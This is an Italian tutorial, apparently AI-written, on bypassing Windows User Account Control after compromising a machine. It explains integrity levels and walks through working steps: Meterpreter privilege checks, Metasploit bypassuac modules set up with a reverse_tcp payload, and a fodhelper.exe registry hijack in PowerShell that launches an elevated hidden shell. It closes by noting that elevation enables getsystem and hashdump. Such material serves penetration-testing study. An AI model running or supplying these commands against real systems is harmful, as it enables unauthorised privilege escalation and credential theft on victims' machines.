Guida Approfondita: Bypass UAC in Windows
Il Bypass UAC User Account Control è una tecnica utilizzata per ottenere un contesto di esecuzione con privilegi elevati su un sistema Windows, senza dover interagire con il prompt UAC. È particolarme
Guida Approfondita: Bypass UAC in Windows
Il Bypass UAC (User Account Control) è una tecnica utilizzata per ottenere un contesto di esecuzione con privilegi elevati su un sistema Windows, senza dover interagire con il prompt UAC. È particolarmente utile in fase post-exploitation quando si dispone di una sessione con privilegi di tipo _medium integrity_ e si vuole ottenere una _high integrity shell_.
⚠️ Importante: Per eseguire correttamente un bypass UAC, l'utente deve necessariamente far parte del gruppo locale "Administrators". Il bypass UAC non eleva un utente standard a privilegi amministrativi, ma consente ad un utente _già amministratore_ di evitare l'interazione con il prompt UAC.
🔍 Contesto Tecnico: Integrity Levels in Windows
| Livello di Integrità | Contesto |
| Low | Sandbox, browser |
| Medium | Utente standard o admin non elevato |
| High | Admin elevato (dopo prompt UAC) |
| System | Processi e servizi di sistema |
Durante una sessione di compromissione, un utente appartenente al gruppo Administrators verrà eseguito in modalità _medium integrity_ finché non accetta (esplicitamente) il prompt UAC. Un bypass UAC permette di saltare questa richiesta.
🔍 Verifica se l'utente è un amministratore
Prima di procedere con il bypass UAC, è necessario verificare se l'utente corrente è un amministratore.
Su Meterpreter:
getuid
getprivsIn PowerShell:
whoami /groups | findstr Administratorsoppure:
([Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"Se il gruppo "Administrators" è presente, puoi procedere con il bypass.
🔧 Tecniche comuni di Bypass UAC
1. Utilizzo di Metasploit: bypassuac
Moduli principali:
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_sdclt
Esempio:
use exploit/windows/local/bypassuac
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run2. PowerShell-based Techniques
Invoke-BypassUAC(PowerSploit)
UACMedi hfiref0x: https://github.com/hfiref0x/UACME
Queste tecniche utilizzano binari di sistema con auto-elevazione o DLL hijacking.
3. DLL Hijacking via fodhelper.exe
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "" -Value "powershell.exe -WindowStyle Hidden -Command Start-Process powershell -Verb runAs"
fodhelper.exeQuesto triggera una nuova istanza elevata di PowerShell sfruttando l’auto-elevazione implicita di fodhelper.exe.
🛠️ Esempi reali con Meterpreter
meterpreter > getuid
Server username: IEWIN7\IEUser
meterpreter > run post/windows/gather/check_uac
meterpreter > run exploit/windows/local/bypassuac_sdclt SESSION=1
🧠 Conclusioni
- Il bypass UAC funziona _solo se_ l’utente compromesso è nel gruppo "Administrators".
- Serve per ottenere privilegi elevati senza prompt UAC.
- Non rappresenta una vera e propria escalation di privilegi da utente standard a SYSTEM.
- Bypassare l'UAC ci permette di eseguire comandi meterpreter come "getsystem" e "hashdump".
- Verrà creata una nuova sessione meterpreter con lo stesso utente ma privilegi più elevati.
Se ti servisse, posso fornirti una checklist Obsidian-ready con tutti i prerequisiti e comandi veloci per bypass UAC. Fammi sapere!